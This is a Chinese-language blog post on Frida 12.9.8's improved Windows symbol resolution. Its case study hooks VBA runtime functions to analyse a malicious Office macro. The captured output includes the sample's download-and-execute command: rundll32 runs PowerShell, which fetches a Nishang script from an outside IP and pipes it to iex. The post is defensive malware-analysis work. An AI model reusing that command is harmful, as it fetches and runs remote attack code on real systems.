Frida是目前比较流行的基于JavaScript的Hook框架。已经在移动安全的研究中得到了广泛的应用。最近我们发现,Frida或许可以在Windows平台上也大展身手。我们认为Frida是可以用于Windows平台的逆向工具之一,但是在我们测试过程中发现Frida不能进行符号查找,这也是之前Frida一直没有在Windows平台得以广泛使用的重要原因。于是我们对Frida进行了改进,现在Frida12.9.8已经具备了此功能。 我们非常感谢Ole André Vadla Ravnås所提供的帮助。
Frida12.9.8改进
总的来说,Frida使用deghelp.dll 提供的API在Windows平台中查找符号,但是它缺少了符号服务器的支持。于是我们增加了符号服务器支持,并改进了Windows中传递符号字符串的方法。在旧版本的Frida中,由于使用通配符模块查找符号的原因,查找每个符号都会花费一定的时间。而现在,您可以指定模块名称以加快符号查找的速度。
新的Frida将结合symsrv.dll和dbghelp.dll对包括Microsoft符号服务器在内的符号服务器提供支持。
这些是我们在Ole的帮助下所做的更改。
1. 添加load_symbols() 并改进DbgHelp后端
2. 将代理迁徙到Windows上的DbgHelp
案例研究:office宏代码分析
接下来我们将通过改进的Frida对一个Office Macro恶意软件进行逆向分析。
Injection and instrumentation
下图显示了Frida通常如何安装钩子并从安装的钩子中获取消息:
此过程中涉及frida,session,脚本对象,管理钩子安装。
其中hook的回调函数是用JavaScript编写的。
以下代码显示了一个示例,说明如何使用这些对象来安装分配给self.script_text变量的JavaScript hook代码,以使用process_id变量进行处理。
def instrument(self, process_id):
session = frida.attach(process_id)
self.sessions.append(session)
session.enable_child_gating()
script = session.create_script(self.script_text)
script.on('message', self.on_message)
script.load()
符号查询:resolveName
Frida 的JavaScript API在文档中有很好的描述。
使用Frida进行hook的第一步是找到目标函数。
如果函数已导出,则只需使用导出的函数名称和DLL名称调用Module.findExportByName方法。
Module.findExportByName(dllName, name)
但是,如果该函数未导出并且仅记录在PDB符号文件中,则可以调用DebugSymbol.getFunctionByName方法。使用Frida 12.9.8,您可以传递“ DLLName!FunctionName”符号,以便在调用指定特定功能时提高准确性,并在定位它们时获得更好的性能。
有时模块加载符号可能会很慢,因为它可能来自远程符号服务器。因此,您需要调用DebugSymbol.load方法来启动符号的加载,以便我们加载最少数量的符号。
这是一个示例代码,该示例代码使用Module.findExportByName和DebugSymbol方法查找任何带符号或导出的函数。它使用字典来缓存删除所有重复的记录。如果您要连接大量函数,则可以节省整个符号查找时间。
vbe.js
var loadedModules = {}
var resolvedAddresses = {}
function resolveName(dllName, name) {
var moduleName = dllName.split('.')[0]
var functionName = moduleName + "!" + name
if (functionName in resolvedAddresses) {
return resolvedAddresses[functionName]
}
log("resolveName " + functionName);
log("Module.findExportByName " + dllName + " " + name);
var addr = Module.findExportByName(dllName, name)
if (!addr || addr.isNull()) {
if (!(dllName in loadedModules)) {
log(" DebugSymbol.loadModule " + dllName);
try {
DebugSymbol.load(dllName)
} catch (err) {
return 0;
}
log(" DebugSymbol.load finished");
loadedModules[dllName] = 1
}
try {
log(" DebugSymbol.getFunctionByName: " + functionName);
addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
log(" DebugSymbol.getFunctionByName: addr = " + addr);
} catch (err) {
log(" DebugSymbol.getFunctionByName: Exception")
}
}
resolvedAddresses[functionName] = addr
return addr
}
设置符号路径
在Windows环境下设置符号服务器的方法有很多,建议您从命令行设置_NT_SYMBOL_PATH变量。Windows调试器的符号路径对变量的用法有很好的描述。
以下将使用” c: symbols”作为其本地符号存储来缓存正式的Microsoft符号服务器。
setx _NT_SYMBOL_PATH SRV*c:symbols*https://msdl.microsoft.com/download/symbols
以下命令将使系统使用默认的符号存储目录。
setx _NT_SYMBOL_PATH SRV*https://msdl.microsoft.com/download/symbols
运行恶意软件并观察其行为
我们使用以下示例测试Frida改进的符号查找功能。它具有一些混淆,可以使用Frida挂钩轻松分析。
我们在此处提供的代码可以从以下GitHub存储库中找到。
Frida.examples.vbe
因此,当您启动Word进程且进程ID为3064时,可以使用以下命令从存储库中包含的vbe.js安装钩子。安装钩子之后,您可以打开恶意文档以观察其行为。
> python inject.py -p 3064 vbe.js
resolveName vbe7!rtcShell
Module.findExportByName vbe7 rtcShell
Interceptor.attach: vbe7!rtcShell@0x652a2b76
resolveName vbe7!__vbaStrCat
Module.findExportByName vbe7 __vbaStrCat
DebugSymbol.loadModule vbe7
DebugSymbol.load finished
DebugSymbol.getFunctionByName: vbe7!__vbaStrCat
DebugSymbol.getFunctionByName: addr = 0x651e53e6
Interceptor.attach: vbe7!__vbaStrCat@0x651e53e6
resolveName vbe7!__vbaStrComp
Module.findExportByName vbe7 __vbaStrComp
DebugSymbol.getFunctionByName: vbe7!__vbaStrComp
DebugSymbol.getFunctionByName: addr = 0x651e56a2
Interceptor.attach: vbe7!__vbaStrComp@0x651e56a2
resolveName vbe7!rtcCreateObject
Module.findExportByName vbe7 rtcCreateObject
Interceptor.attach: vbe7!rtcCreateObject@0x653e6e4c
resolveName vbe7!rtcCreateObject2
Module.findExportByName vbe7 rtcCreateObject2
Interceptor.attach: vbe7!rtcCreateObject2@0x653e6ece
resolveName vbe7!CVbeProcs::CallMacro
Module.findExportByName vbe7 CVbeProcs::CallMacro
DebugSymbol.getFunctionByName: vbe7!CVbeProcs::CallMacro
DebugSymbol.getFunctionByName: addr = 0x6529019b
Interceptor.attach: vbe7!CVbeProcs::CallMacro@0x6529019b
resolveName oleaut32!DispCallFunc
Module.findExportByName oleaut32 DispCallFunc
Interceptor.attach: oleaut32!DispCallFunc@0x747995b0
[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.
监视office宏行为的hook方法
vbe.js有一些有趣的钩子来监视恶意Office文档的行为。
__vbaStrCat
vbe7.dll是Visual Basic运行时引擎的DLL。里面有很多有趣的功能。但是在这里,我们想观察字符串去混淆操作,vbe7!__ vbaStrCat是在Visual Basic中串联字符串时调用的函数。
.text:651E53E6 ; __stdcall __vbaStrCat(x, x)
.text:651E53E6 ___vbaStrCat@8 proc near ; CODE XREF: _lblEX_ConcatStr↑p
许多基于宏的恶意软件文档都使用基于字符串的混淆。通过观察字符串连接动作,您可以观察最终的去混淆字符串的构造。
以下hook代码将为每个调用打印出连接的字符串。
vbe.js
function hookVBAStrCat(moduleName) {
hookFunction(moduleName, "__vbaStrCat", {
onEnter: function (args) {
log("[+] __vbaStrCat")
// log('[+] ' + name);
// dumpBSTR(args[0]);
// dumpBSTR(args[1]);
},
onLeave: function (retval) {
dumpBSTR(retval);
}
})
}
这是一个示例输出,显示了最终的去混淆字符串。
这是另一个示例,显示了如何从混淆后的字符串构造“ WScript.Shell”字符串。
rtcCreateObject2
恶意宏另一个常见恶意行为是创建对象以执行系统操作。执行此操作的函数是rtcCreateObject2。
.text:653E6ECE ; int __stdcall rtcCreateObject2(int, LPCOLESTR szUserName, wchar_t *Str2)
.text:653E6ECE public _rtcCreateObject2@8
.text:653E6ECE _rtcCreateObject2@8 proc near ; DATA XREF: .text:off_651D379C↑o
在VB引擎中创建新对象时,将调用rtcCreateObject2函数。
以下hook监视args [2]参数(wchar_t * Str2),该参数包含它创建的对象名称。
vbe.js
function hookRtcCreateObject2(moduleName) {
hookFunction(moduleName, "rtcCreateObject2", {
onEnter: function (args) {
log('[+] rtcCreateObject2');
dumpAddress(args[0]);
dumpBSTR(args[1]);
log(ptr(args[2]).readUtf16String())
},
onLeave: function (retval) {
dumpAddress(retval);
}
})
}
示例会话显示了CreateObject方法创建WScript.Shell对象。该对象用于从脚本运行外部命令。我们可以预期该脚本将运行外部恶意命令。
DispCallFunc
还有一个很有趣的API是DispCallFunc函数。此函数用于调用COM方法。通过监视此API,我们可以更好地了解恶意软件正在尝试做什么。
该函数的原型如下所示。
HRESULT DispCallFunc(
void *pvInstance,
ULONG_PTR oVft,
CALLCONV cc,
VARTYPE vtReturn,
UINT cActuals,
VARTYPE *prgvt,
VARIANTARG **prgpvarg,
VARIANT *pvargResult
);
第一个参数pvInstance具有指向COM实例的指针,第二个参数oVft具有该函数正在调用的方法的偏移量。通过一些计算,您可以找到COM调用最终将调用的函数。
以下是此函数的钩子,该钩子将打印出实际的COM方法名称及其指令。Frida具有用于反汇编指令的API,在这种情况下,它确实非常有用。
function hookDispCall(moduleName) {
hookFunction(moduleName, "DispCallFunc", {
onEnter: function (args) {
log("[+] DispCallFunc")
var pvInstance = args[0]
var oVft = args[1]
var instance = ptr(ptr(pvInstance).readULong());
log(' instance:' + instance);
log(' oVft:' + oVft);
var vftbPtr = instance.add(oVft)
log(' vftbPtr:' + vftbPtr);
var functionAddress = ptr(ptr(vftbPtr).readULong())
loadModuleForAddress(functionAddress)
var functionName = DebugSymbol.fromAddress(functionAddress)
if (functionName) {
log(' functionName:' + functionName);
}
dumpAddress(functionAddress);
var currentAddress = functionAddress
for (var i = 0; i < 10; i++) {
try {
var instruction = Instruction.parse(currentAddress)
log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
currentAddress = instruction.next
} catch (err) {
break
}
}
}
})
}
下面显示了示例输出,该输出显示了对wshom.ocx!CWshShell :: Run的COM方法调用。
此外,您可以添加设备回调,它将监视进程创建行为。下面显示了rundll子进程用于通过powershdll.dll 以运行PowerShell。
⚡ child_added: Child(pid=6300, parent_pid=3064, origin=spawn, path='C:\Windows\System32\rundll32.exe', argv=['C:\Windows\System32\rundll32.exe', 'C:\Users\tester\AppData\Local\Temp\powershdll.dll,main', '.', '{', 'Invoke-WebRequest', '-useb', 'http://192.168.10.100:8080/nishang.ps1', '}', '^|', 'iex;'], envp=None)
结论
Frida是我在Windows平台上使用过的最方便,最方便的动态分析工具。虽然目前已经有WinDbg,OllyDbg和PyKD用于高级逆向工程。但是,对于真正快速和重复的分析工作,Frida绝对绰绰有余,并且Frida具有转储和分析程序行为的强大功能。有了Frida 12.9.8,现在我们有了更好的符号处理,这将提高整体可用性和生产率。